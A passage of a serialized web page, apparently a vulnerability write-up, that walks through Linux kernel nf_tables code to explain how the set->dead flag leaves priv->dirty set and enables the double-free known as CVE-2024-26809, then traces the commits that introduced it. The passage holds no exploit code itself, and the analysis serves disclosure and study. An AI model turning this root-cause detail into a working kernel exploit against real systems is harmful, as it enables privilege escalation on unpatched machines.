nf_tables_commit_release",{"type":23,"tag":481,"props":50374,"children":50375},{"style":525},[50376],{"type":28,"value":50377},"(net);\n",{"type":23,"tag":481,"props":50379,"children":50380},{"class":483,"line":1369},[50381],{"type":23,"tag":481,"props":50382,"children":50383},{"emptyLinePlaceholder":15},[50384],{"type":28,"value":1210},{"type":23,"tag":481,"props":50386,"children":50387},{"class":483,"line":1377},[50388,50393,50397],{"type":23,"tag":481,"props":50389,"children":50390},{"style":535},[50391],{"type":28,"value":50392}," return",{"type":23,"tag":481,"props":50394,"children":50395},{"style":551},[50396],{"type":28,"value":554},{"type":23,"tag":481,"props":50398,"children":50399},{"style":525},[50400],{"type":28,"value":528},{"type":23,"tag":481,"props":50402,"children":50403},{"class":483,"line":1437},[50404],{"type":23,"tag":481,"props":50405,"children":50406},{"style":525},[50407],{"type":28,"value":1443},{"type":23,"tag":24,"props":50409,"children":50410},{},[50411,50412,50418,50420,50425],{"type":28,"value":14104},{"type":23,"tag":64,"props":50413,"children":50415},{"className":50414},[],[50416],{"type":28,"value":50417},"nft_set_commit_update()",{"type":28,"value":50419}," function in the code above will call the ",{"type":23,"tag":64,"props":50421,"children":50423},{"className":50422},[],[50424],{"type":28,"value":49871},{"type":28,"value":50426}," method for any objects that were marked as pending an update.",{"type":23,"tag":435,"props":50428,"children":50430},{"className":14005,"code":50429,"language":661,"meta":7,"style":7},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n list_del_init(&set->pending_update);\n\n if (!set->ops->commit || set->dead) // [4]\n continue;\n\n set->ops->commit(set); // [5]\n }\n}\n",[50431],{"type":23,"tag":64,"props":50432,"children":50433},{"__ignoreMap":7},[50434,50474,50481,50510,50517,50530,50562,50569,50630,50641,50648,50682,50689],{"type":23,"tag":481,"props":50435,"children":50436},{"class":483,"line":484},[50437,50441,50445,50449,50453,50457,50462,50466,50470],{"type":23,"tag":481,"props":50438,"children":50439},{"style":497},[50440],{"type":28,"value":48570},{"type":23,"tag":481,"props":50442,"children":50443},{"style":497},[50444],{"type":28,"value":48575},{"type":23,"tag":481,"props":50446,"children":50447},{"style":610},[50448],{"type":28,"value":50340},{"type":23,"tag":481,"props":50450,"children":50451},{"style":525},[50452],{"type":28,"value":618},{"type":23,"tag":481,"props":50454,"children":50455},{"style":497},[50456],{"type":28,"value":6884},{"type":23,"tag":481,"props":50458,"children":50459},{"style":525},[50460],{"type":28,"value":50461}," list_head ",{"type":23,"tag":481,"props":50463,"children":50464},{"style":514},[50465],{"type":28,"value":2120},{"type":23,"tag":481,"props":50467,"children":50468},{"style":508},[50469],{"type":28,"value":50353},{"type":23,"tag":481,"props":50471,"children":50472},{"style":525},[50473],{"type":28,"value":675},{"type":23,"tag":481,"props":50475,"children":50476},{"class":483,"line":351},[50477],{"type":23,"tag":481,"props":50478,"children":50479},{"style":525},[50480],{"type":28,"value":8366},{"type":23,"tag":481,"props":50482,"children":50483},{"class":483,"line":531},[50484,50488,50492,50496,50501,50505],{"type":23,"tag":481,"props":50485,"children":50486},{"style":497},[50487],{"type":28,"value":18649},{"type":23,"tag":481,"props":50489,"children":50490},{"style":525},[50491],{"type":28,"value":48625},{"type":23,"tag":481,"props":50493,"children":50494},{"style":514},[50495],{"type":28,"value":2120},{"type":23,"tag":481,"props":50497,"children":50498},{"style":525},[50499],{"type":28,"value":50500},"set, ",{"type":23,"tag":481,"props":50502,"children":50503},{"style":514},[50504],{"type":28,"value":2120},{"type":23,"tag":481,"props":50506,"children":50507},{"style":525},[50508],{"type":28,"value":50509},"next;\n",{"type":23,"tag":481,"props":50511,"children":50512},{"class":483,"line":567},[50513],{"type":23,"tag":481,"props":50514,"children":50515},{"emptyLinePlaceholder":15},[50516],{"type":28,"value":1210},{"type":23,"tag":481,"props":50518,"children":50519},{"class":483,"line":678},[50520,50525],{"type":23,"tag":481,"props":50521,"children":50522},{"style":610},[50523],{"type":28,"value":50524}," list_for_each_entry_safe",{"type":23,"tag":481,"props":50526,"children":50527},{"style":525},[50528],{"type":28,"value":50529},"(set, next, set_update_list, pending_update) {\n",{"type":23,"tag":481,"props":50531,"children":50532},{"class":483,"line":784},[50533,50538,50542,50546,50550,50554,50558],{"type":23,"tag":481,"props":50534,"children":50535},{"style":610},[50536],{"type":28,"value":50537}," list_del_init",{"type":23,"tag":481,"props":50539,"children":50540},{"style":525},[50541],{"type":28,"value":618},{"type":23,"tag":481,"props":50543,"children":50544},{"style":514},[50545],{"type":28,"value":623},{"type":23,"tag":481,"props":50547,"children":50548},{"style":508},[50549],{"type":28,"value":48545},{"type":23,"tag":481,"props":50551,"children":50552},{"style":525},[50553],{"type":28,"value":11245},{"type":23,"tag":481,"props":50555,"children":50556},{"style":508},[50557],{"type":28,"value":50247},{"type":23,"tag":481,"props":50559,"children":50560},{"style":525},[50561],{"type":28,"value":1366},{"type":23,"tag":481,"props":50563,"children":50564},{"class":483,"line":812},[50565],{"type":23,"tag":481,"props":50566,"children":50567},{"emptyLinePlaceholder":15},[50568],{"type":28,"value":1210},{"type":23,"tag":481,"props":50570,"children":50571},{"class":483,"line":825},[50572,50576,50580,50584,50588,50592,50596,50600,50604,50608,50613,50617,50621,50625],{"type":23,"tag":481,"props":50573,"children":50574},{"style":535},[50575],{"type":28,"value":28909},{"type":23,"tag":481,"props":50577,"children":50578},{"style":525},[50579],{"type":28,"value":578},{"type":23,"tag":481,"props":50581,"children":50582},{"style":514},[50583],{"type":28,"value":18119},{"type":23,"tag":481,"props":50585,"children":50586},{"style":508},[50587],{"type":28,"value":48545},{"type":23,"tag":481,"props":50589,"children":50590},{"style":525},[50591],{"type":28,"value":11245},{"type":23,"tag":481,"props":50593,"children":50594},{"style":508},[50595],{"type":28,"value":50196},{"type":23,"tag":481,"props":50597,"children":50598},{"style":525},[50599],{"type":28,"value":11245},{"type":23,"tag":481,"props":50601,"children":50602},{"style":508},[50603],{"type":28,"value":50205},{"type":23,"tag":481,"props":50605,"children":50606},{"style":514},[50607],{"type":28,"value":21207},{"type":23,"tag":481,"props":50609,"children":50610},{"style":508},[50611],{"type":28,"value":50612}," set",{"type":23,"tag":481,"props":50614,"children":50615},{"style":525},[50616],{"type":28,"value":11245},{"type":23,"tag":481,"props":50618,"children":50619},{"style":508},[50620],{"type":28,"value":50015},{"type":23,"tag":481,"props":50622,"children":50623},{"style":525},[50624],{"type":28,"value":642},{"type":23,"tag":481,"props":50626,"children":50627},{"style":488},[50628],{"type":28,"value":50629}," // [4]\n",{"type":23,"tag":481,"props":50631,"children":50632},{"class":483,"line":843},[50633,50637],{"type":23,"tag":481,"props":50634,"children":50635},{"style":535},[50636],{"type":28,"value":49017},{"type":23,"tag":481,"props":50638,"children":50639},{"style":525},[50640],{"type":28,"value":528},{"type":23,"tag":481,"props":50642,"children":50643},{"class":483,"line":864},[50644],{"type":23,"tag":481,"props":50645,"children":50646},{"emptyLinePlaceholder":15},[50647],{"type":28,"value":1210},{"type":23,"tag":481,"props":50649,"children":50650},{"class":483,"line":873},[50651,50656,50660,50664,50668,50672,50677],{"type":23,"tag":481,"props":50652,"children":50653},{"style":508},[50654],{"type":28,"value":50655}," set",{"type":23,"tag":481,"props":50657,"children":50658},{"style":525},[50659],{"type":28,"value":11245},{"type":23,"tag":481,"props":50661,"children":50662},{"style":508},[50663],{"type":28,"value":50196},{"type":23,"tag":481,"props":50665,"children":50666},{"style":525},[50667],{"type":28,"value":11245},{"type":23,"tag":481,"props":50669,"children":50670},{"style":610},[50671],{"type":28,"value":50205},{"type":23,"tag":481,"props":50673,"children":50674},{"style":525},[50675],{"type":28,"value":50676},"(set);",{"type":23,"tag":481,"props":50678,"children":50679},{"style":488},[50680],{"type":28,"value":50681}," // [5]\n",{"type":23,"tag":481,"props":50683,"children":50684},{"class":483,"line":1125},[50685],{"type":23,"tag":481,"props":50686,"children":50687},{"style":525},[50688],{"type":28,"value":7079},{"type":23,"tag":481,"props":50690,"children":50691},{"class":483,"line":1142},[50692],{"type":23,"tag":481,"props":50693,"children":50694},{"style":525},[50695],{"type":28,"value":1443},{"type":23,"tag":24,"props":50697,"children":50698},{},[50699,50701,50707,50709,50714,50715,50720],{"type":28,"value":50700},"Later on, the ",{"type":23,"tag":64,"props":50702,"children":50704},{"className":50703},[],[50705],{"type":28,"value":50706},"nf_tables_commit_release()",{"type":28,"value":50708}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":23,"tag":64,"props":50710,"children":50712},{"className":50711},[],[50713],{"type":28,"value":48545},{"type":28,"value":49865},{"type":23,"tag":64,"props":50716,"children":50718},{"className":50717},[],[50719],{"type":28,"value":49879},{"type":28,"value":50721}," method.",{"type":23,"tag":435,"props":50723,"children":50725},{"className":14005,"code":50724,"language":661,"meta":7,"style":7},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n nft_trans_list_del(trans);\n nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, set);\n[...]\n}\n",[50726],{"type":23,"tag":64,"props":50727,"children":50728},{"__ignoreMap":7},[50729,50768,50775,50782,50803,50810,50817,50824,50865,50872,50879,50900,50913,50925,50932,50939,50946,50987,50994,51022,51029,51042,51054,51095,51102,51109,51116,51174,51181,51188,51217,51224],{"type":23,"tag":481,"props":50730,"children":50731},{"class":483,"line":484},[50732,50736,50740,50744,50748,50752,50756,50760,50764],{"type":23,"tag":481,"props":50733,"children":50734},{"style":497},[50735],{"type":28,"value":48570},{"type":23,"tag":481,"props":50737,"children":50738},{"style":497},[50739],{"type":28,"value":48575},{"type":23,"tag":481,"props":50741,"children":50742},{"style":610},[50743],{"type":28,"value":50372},{"type":23,"tag":481,"props":50745,"children":50746},{"style":525},[50747],{"type":28,"value":618},{"type":23,"tag":481,"props":50749,"children":50750},{"style":497},[50751],{"type":28,"value":6884},{"type":23,"tag":481,"props":50753,"children":50754},{"style":525},[50755],{"type":28,"value":49528},{"type":23,"tag":481,"props":50757,"children":50758},{"style":514},[50759],{"type":28,"value":2120},{"type":23,"tag":481,"props":50761,"children":50762},{"style":508},[50763],{"type":28,"value":49537},{"type":23,"tag":481,"props":50765,"children":50766},{"style":525},[50767],{"type":28,"value":675},{"type":23,"tag":481,"props":50769,"children":50770},{"class":483,"line":351},[50771],{"type":23,"tag":481,"props":50772,"children":50773},{"style":525},[50774],{"type":28,"value":8366},{"type":23,"tag":481,"props":50776,"children":50777},{"class":483,"line":531},[50778],{"type":23,"tag":481,"props":50779,"children":50780},{"style":525},[50781],{"type":28,"value":7803},{"type":23,"tag":481,"props":50783,"children":50784},{"class":483,"line":567},[50785,50790,50794,50798],{"type":23,"tag":481,"props":50786,"children":50787},{"style":610},[50788],{"type":28,"value":50789}," schedule_work",{"type":23,"tag":481,"props":50791,"children":50792},{"style":525},[50793],{"type":28,"value":618},{"type":23,"tag":481,"props":50795,"children":50796},{"style":514},[50797],{"type":28,"value":623},{"type":23,"tag":481,"props":50799,"children":50800},{"style":525},[50801],{"type":28,"value":50802},"trans_destroy_work);\n",{"type":23,"tag":481,"props":50804,"children":50805},{"class":483,"line":678},[50806],{"type":23,"tag":481,"props":50807,"children":50808},{"style":525},[50809],{"type":28,"value":7803},{"type":23,"tag":481,"props":50811,"children":50812},{"class":483,"line":784},[50813],{"type":23,"tag":481,"props":50814,"children":50815},{"style":525},[50816],{"type":28,"value":1443},{"type":23,"tag":481,"props":50818,"children":50819},{"class":483,"line":812},[50820],{"type":23,"tag":481,"props":50821,"children":50822},{"style":525},[50823],{"type":28,"value":7803},{"type":23,"tag":481,"props":50825,"children":50826},{"class":483,"line":825},[50827,50831,50835,50840,50844,50848,50853,50857,50861],{"type":23,"tag":481,"props":50828,"children":50829},{"style":497},[50830],{"type":28,"value":48570},{"type":23,"tag":481,"props":50832,"children":50833},{"style":497},[50834],{"type":28,"value":48575},{"type":23,"tag":481,"props":50836,"children":50837},{"style":610},[50838],{"type":28,"value":50839}," nf_tables_trans_destroy_work",{"type":23,"tag":481,"props":50841,"children":50842},{"style":525},[50843],{"type":28,"value":618},{"type":23,"tag":481,"props":50845,"children":50846},{"style":497},[50847],{"type":28,"value":6884},{"type":23,"tag":481,"props":50849,"children":50850},{"style":525},[50851],{"type":28,"value":50852}," work_struct ",{"type":23,"tag":481,"props":50854,"children":50855},{"style":514},[50856],{"type":28,"value":2120},{"type":23,"tag":481,"props":50858,"children":50859},{"style":508},[50860],{"type":28,"value":47097},{"type":23,"tag":481,"props":50862,"children":50863},{"style":525},[50864],{"type":28,"value":675},{"type":23,"tag":481,"props":50866,"children":50867},{"class":483,"line":843},[50868],{"type":23,"tag":481,"props":50869,"children":50870},{"style":525},[50871],{"type":28,"value":8366},{"type":23,"tag":481,"props":50873,"children":50874},{"class":483,"line":864},[50875],{"type":23,"tag":481,"props":50876,"children":50877},{"style":525},[50878],{"type":28,"value":7803},{"type":23,"tag":481,"props":50880,"children":50881},{"class":483,"line":873},[50882,50886,50891,50895],{"type":23,"tag":481,"props":50883,"children":50884},{"style":610},[50885],{"type":28,"value":50524},{"type":23,"tag":481,"props":50887,"children":50888},{"style":525},[50889],{"type":28,"value":50890},"(trans, next, ",{"type":23,"tag":481,"props":50892,"children":50893},{"style":514},[50894],{"type":28,"value":623},{"type":23,"tag":481,"props":50896,"children":50897},{"style":525},[50898],{"type":28,"value":50899},"head, list) {\n",{"type":23,"tag":481,"props":50901,"children":50902},{"class":483,"line":1125},[50903,50908],{"type":23,"tag":481,"props":50904,"children":50905},{"style":610},[50906],{"type":28,"value":50907}," nft_trans_list_del",{"type":23,"tag":481,"props":50909,"children":50910},{"style":525},[50911],{"type":28,"value":50912},"(trans);\n",{"type":23,"tag":481,"props":50914,"children":50915},{"class":483,"line":1142},[50916,50921],{"type":23,"tag":481,"props":50917,"children":50918},{"style":610},[50919],{"type":28,"value":50920}," nft_commit_release",{"type":23,"tag":481,"props":50922,"children":50923},{"style":525},[50924],{"type":28,"value":50912},{"type":23,"tag":481,"props":50926,"children":50927},{"class":483,"line":1159},[50928],{"type":23,"tag":481,"props":50929,"children":50930},{"style":525},[50931],{"type":28,"value":7079},{"type":23,"tag":481,"props":50933,"children":50934},{"class":483,"line":1172},[50935],{"type":23,"tag":481,"props":50936,"children":50937},{"style":525},[50938],{"type":28,"value":1443},{"type":23,"tag":481,"props":50940,"children":50941},{"class":483,"line":1181},[50942],{"type":23,"tag":481,"props":50943,"children":50944},{"style":525},[50945],{"type":28,"value":7803},{"type":23,"tag":481,"props":50947,"children":50948},{"class":483,"line":1204},[50949,50953,50957,50962,50966,50970,50975,50979,50983],{"type":23,"tag":481,"props":50950,"children":50951},{"style":497},[50952],{"type":28,"value":48570},{"type":23,"tag":481,"props":50954,"children":50955},{"style":497},[50956],{"type":28,"value":48575},{"type":23,"tag":481,"props":50958,"children":50959},{"style":610},[50960],{"type":28,"value":50961}," nft_commit_release",{"type":23,"tag":481,"props":50963,"children":50964},{"style":525},[50965],{"type":28,"value":618},{"type":23,"tag":481,"props":50967,"children":50968},{"style":497},[50969],{"type":28,"value":6884},{"type":23,"tag":481,"props":50971,"children":50972},{"style":525},[50973],{"type":28,"value":50974}," nft_trans ",{"type":23,"tag":481,"props":50976,"children":50977},{"style":514},[50978],{"type":28,"value":2120},{"type":23,"tag":481,"props":50980,"children":50981},{"style":508},[50982],{"type":28,"value":50087},{"type":23,"tag":481,"props":50984,"children":50985},{"style":525},[50986],{"type":28,"value":675},{"type":23,"tag":481,"props":50988,"children":50989},{"class":483,"line":1213},[50990],{"type":23,"tag":481,"props":50991,"children":50992},{"style":525},[50993],{"type":28,"value":8366},{"type":23,"tag":481,"props":50995,"children":50996},{"class":483,"line":1222},[50997,51002,51006,51010,51014,51018],{"type":23,"tag":481,"props":50998,"children":50999},{"style":535},[51000],{"type":28,"value":51001}," switch",{"type":23,"tag":481,"props":51003,"children":51004},{"style":525},[51005],{"type":28,"value":578},{"type":23,"tag":481,"props":51007,"children":51008},{"style":508},[51009],{"type":28,"value":50087},{"type":23,"tag":481,"props":51011,"children":51012},{"style":525},[51013],{"type":28,"value":11245},{"type":23,"tag":481,"props":51015,"children":51016},{"style":508},[51017],{"type":28,"value":50125},{"type":23,"tag":481,"props":51019,"children":51020},{"style":525},[51021],{"type":28,"value":12292},{"type":23,"tag":481,"props":51023,"children":51024},{"class":483,"line":1291},[51025],{"type":23,"tag":481,"props":51026,"children":51027},{"style":525},[51028],{"type":28,"value":7803},{"type":23,"tag":481,"props":51030,"children":51031},{"class":483,"line":1299},[51032,51037],{"type":23,"tag":481,"props":51033,"children":51034},{"style":535},[51035],{"type":28,"value":51036}," case",{"type":23,"tag":481,"props":51038,"children":51039},{"style":525},[51040],{"type":28,"value":51041}," NFT_MSG_DELSET:\n",{"type":23,"tag":481,"props":51043,"children":51044},{"class":483,"line":1329},[51045,51049],{"type":23,"tag":481,"props":51046,"children":51047},{"style":535},[51048],{"type":28,"value":51036},{"type":23,"tag":481,"props":51050,"children":51051},{"style":525},[51052],{"type":28,"value":51053}," NFT_MSG_DESTROYSET:\n",{"type":23,"tag":481,"props":51055,"children":51056},{"class":483,"line":1337},[51057,51062,51066,51070,51074,51078,51082,51086,51090],{"type":23,"tag":481,"props":51058,"children":51059},{"style":610},[51060],{"type":28,"value":51061}," nft_set_destroy",{"type":23,"tag":481,"props":51063,"children":51064},{"style":525},[51065],{"type":28,"value":618},{"type":23,"tag":481,"props":51067,"children":51068},{"style":514},[51069],{"type":28,"value":623},{"type":23,"tag":481,"props":51071,"children":51072},{"style":525},[51073],{"type":28,"value":50087},{"type":23,"tag":481,"props":51075,"children":51076},{"style":514},[51077],{"type":28,"value":11245},{"type":23,"tag":481,"props":51079,"children":51080},{"style":508},[51081],{"type":28,"value":17778},{"type":23,"tag":481,"props":51083,"children":51084},{"style":525},[51085],{"type":28,"value":588},{"type":23,"tag":481,"props":51087,"children":51088},{"style":610},[51089],{"type":28,"value":50053},{"type":23,"tag":481,"props":51091,"children":51092},{"style":525},[51093],{"type":28,"value":51094},"(trans));\n",{"type":23,"tag":481,"props":51096,"children":51097},{"class":483,"line":1369},[51098],{"type":23,"tag":481,"props":51099,"children":51100},{"style":525},[51101],{"type":28,"value":7803},{"type":23,"tag":481,"props":51103,"children":51104},{"class":483,"line":1377},[51105],{"type":23,"tag":481,"props":51106,"children":51107},{"style":525},[51108],{"type":28,"value":1443},{"type":23,"tag":481,"props":51110,"children":51111},{"class":483,"line":1437},[51112],{"type":23,"tag":481,"props":51113,"children":51114},{"style":525},[51115],{"type":28,"value":7803},{"type":23,"tag":481,"props":51117,"children":51118},{"class":483,"line":6528},[51119,51123,51127,51132,51136,51140,51144,51148,51152,51157,51161,51165,51169],{"type":23,"tag":481,"props":51120,"children":51121},{"style":497},[51122],{"type":28,"value":48570},{"type":23,"tag":481,"props":51124,"children":51125},{"style":497},[51126],{"type":28,"value":48575},{"type":23,"tag":481,"props":51128,"children":51129},{"style":610},[51130],{"type":28,"value":51131}," nft_set_destroy",{"type":23,"tag":481,"props":51133,"children":51134},{"style":525},[51135],{"type":28,"value":618},{"type":23,"tag":481,"props":51137,"children":51138},{"style":497},[51139],{"type":28,"value":7139},{"type":23,"tag":481,"props":51141,"children":51142},{"style":497},[51143],{"type":28,"value":18649},{"type":23,"tag":481,"props":51145,"children":51146},{"style":525},[51147],{"type":28,"value":48597},{"type":23,"tag":481,"props":51149,"children":51150},{"style":514},[51151],{"type":28,"value":2120},{"type":23,"tag":481,"props":51153,"children":51154},{"style":525},[51155],{"type":28,"value":51156},"ctx, ",{"type":23,"tag":481,"props":51158,"children":51159},{"style":497},[51160],{"type":28,"value":6884},{"type":23,"tag":481,"props":51162,"children":51163},{"style":525},[51164],{"type":28,"value":48625},{"type":23,"tag":481,"props":51166,"children":51167},{"style":514},[51168],{"type":28,"value":2120},{"type":23,"tag":481,"props":51170,"children":51171},{"style":525},[51172],{"type":28,"value":51173},"set)\n",{"type":23,"tag":481,"props":51175,"children":51176},{"class":483,"line":6546},[51177],{"type":23,"tag":481,"props":51178,"children":51179},{"style":525},[51180],{"type":28,"value":8366},{"type":23,"tag":481,"props":51182,"children":51183},{"class":483,"line":6591},[51184],{"type":23,"tag":481,"props":51185,"children":51186},{"style":525},[51187],{"type":28,"value":7803},{"type":23,"tag":481,"props":51189,"children":51190},{"class":483,"line":6697},[51191,51195,51199,51203,51207,51212],{"type":23,"tag":481,"props":51192,"children":51193},{"style":508},[51194],{"type":28,"value":50612},{"type":23,"tag":481,"props":51196,"children":51197},{"style":525},[51198],{"type":28,"value":11245},{"type":23,"tag":481,"props":51200,"children":51201},{"style":508},[51202],{"type":28,"value":50196},{"type":23,"tag":481,"props":51204,"children":51205},{"style":525},[51206],{"type":28,"value":11245},{"type":23,"tag":481,"props":51208,"children":51209},{"style":610},[51210],{"type":28,"value":51211},"destroy",{"type":23,"tag":481,"props":51213,"children":51214},{"style":525},[51215],{"type":28,"value":51216},"(ctx, set);\n",{"type":23,"tag":481,"props":51218,"children":51219},{"class":483,"line":21008},[51220],{"type":23,"tag":481,"props":51221,"children":51222},{"style":525},[51223],{"type":28,"value":7803},{"type":23,"tag":481,"props":51225,"children":51226},{"class":483,"line":21043},[51227],{"type":23,"tag":481,"props":51228,"children":51229},{"style":525},[51230],{"type":28,"value":1443},{"type":23,"tag":24,"props":51232,"children":51233},{},[51234,51236,51241,51243,51248,51250,51256,51258,51263,51265,51270,51272,51276,51278,51283,51284,51288,51290,51296],{"type":28,"value":51235},"It may appear as if it would be impossible to make ",{"type":23,"tag":64,"props":51237,"children":51239},{"className":51238},[],[51240],{"type":28,"value":48499},{"type":28,"value":51242}," true in the release step because the ",{"type":23,"tag":64,"props":51244,"children":51246},{"className":51245},[],[51247],{"type":28,"value":49871},{"type":28,"value":51249}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":23,"tag":64,"props":51251,"children":51253},{"className":51252},[],[51254],{"type":28,"value":51255},"set->dead",{"type":28,"value":51257}," flag. If a ",{"type":23,"tag":64,"props":51259,"children":51261},{"className":51260},[],[51262],{"type":28,"value":48545},{"type":28,"value":51264}," was marked for deletion, it receives the ",{"type":23,"tag":64,"props":51266,"children":51268},{"className":51267},[],[51269],{"type":28,"value":51255},{"type":28,"value":51271}," flag ",{"type":23,"tag":481,"props":51273,"children":51274},{},[51275],{"type":28,"value":637},{"type":28,"value":51277},". If this flag is set, then the commit path will skip any commitments to this ",{"type":23,"tag":64,"props":51279,"children":51281},{"className":51280},[],[51282],{"type":28,"value":48545},{"type":28,"value":3935},{"type":23,"tag":481,"props":51285,"children":51286},{},[51287],{"type":28,"value":15021},{"type":28,"value":51289},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":23,"tag":64,"props":51291,"children":51293},{"className":51292},[],[51294],{"type":28,"value":51295},"priv ->dirty",{"type":28,"value":51297}," flag is not cleared when it should have been.",{"type":23,"tag":31,"props":51299,"children":51301},{"id":51300},"tracing-the-guilty-commit",[51302],{"type":28,"value":51303},"Tracing the guilty commit",{"type":23,"tag":24,"props":51305,"children":51306},{},[51307,51309,51316,51318,51324,51326,51331,51333,51339],{"type":28,"value":51308},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":23,"tag":190,"props":51310,"children":51313},{"href":51311,"rel":51312},"https://ubuntu.com/security/CVE-2024-26809",[194],[51314],{"type":28,"value":51315},"advisories",{"type":28,"value":51317}," about this vulnerability will say it was introduced by this ",{"type":23,"tag":190,"props":51319,"children":51322},{"href":51320,"rel":51321},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[194],[51323],{"type":28,"value":50205},{"type":28,"value":51325},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":23,"tag":64,"props":51327,"children":51329},{"className":51328},[],[51330],{"type":28,"value":51255},{"type":28,"value":51332}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":23,"tag":190,"props":51334,"children":51337},{"href":51335,"rel":51336},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[194],[51338],{"type":28,"value":50205},{"type":28,"value":199},{"type":23,"tag":24,"props":51341,"children":51342},{},[51343],{"type":28,"value":51344},"By reading the message of the first commit, we can finally understand why this code was added:",{"type":23,"tag":435,"props":51346,"children":51350},{"className":51347,"code":51348,"language":51349,"meta":7,"style":7},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G W 5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919] \u003CTASK>\n[16302.231921] __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934] nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946] nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952] ? __nla_validate_parse+0x48/0x190\n[16302.231959] nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963] netlink_unicast+0x211/0x340\n[16302.231969] netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[51351],{"type":23,"tag":64,"props":51352,"children":51353},{"__ignoreMap":7},[51354,51362,51370,51377,51385,51393,51400,51408,51415,51423,51431,51438,51446,51454,51462,51470,51478,51486,51494,51502,51510,51517,51525,51533,51540,51548,51556,51564,51572,51580,51587,51595,51603],{"type":23,"tag":481,"props":51355,"children":51356},{"class":483,"line":484},[51357],{"type":23,"tag":481,"props":51358,"children":51359},{},[51360],{"type":28,"value":51361},"New elements that reside in the clone are not released in case that the\n",{"type":23,"tag":481,"props":51363,"children":51364},{"class":483,"line":351},[51365],{"type":23,"tag":481,"props":51366,"children":51367},{},[51368],{"type":28,"value":51369},"transaction is aborted.\n",{"type":23,"tag":481,"props":51371,"children":51372},{"class":483,"line":531},[51373],{"type":23,"tag":481,"props":51374,"children":51375},{"emptyLinePlaceholder":15},[51376],{"type":28,"value":1210},{"type":23,"tag":481,"props":51378,"children":51379},{"class":483,"line":567},[51380],{"type":23,"tag":481,"props":51381,"children":51382},{},[51383],{"type":28,"value":51384},"[16302.231754] ------------[ cut here ]------------\n",{"type":23,"tag":481,"props":51386,"children":51387},{"class":483,"line":678},[51388],{"type":23,"tag":481,"props":51389,"children":51390},{},[51391],{"type":28,"value":51392},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":23,"tag":481,"props":51394,"children":51395},{"class":483,"line":784},[51396],{"type":23,"tag":481,"props":51397,"children":51398},{},[51399],{"type":28,"value":7803},{"type":23,"tag":481,"props":51401,"children":51402},{"class":483,"line":812},[51403],{"type":23,"tag":481,"props":51404,"children":51405},{},[51406],{"type":28,"value":51407},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G W 5.19.0-rc3+ #155\n",{"type":23,"tag":481,"props":51409,"children":51410},{"class":483,"line":825},[51411],{"type":23,"tag":481,"props":51412,"children":51413},{},[51414],{"type":28,"value":7803},{"type":23,"tag":481,"props":51416,"children":51417},{"class":483,"line":843},[51418],{"type":23,"tag":481,"props":51419,"children":51420},{},[51421],{"type":28,"value":51422},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":23,"tag":481,"props":51424,"children":51425},{"class":483,"line":864},[51426],{"type":23,"tag":481,"props":51427,"children":51428},{},[51429],{"type":28,"value":51430},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 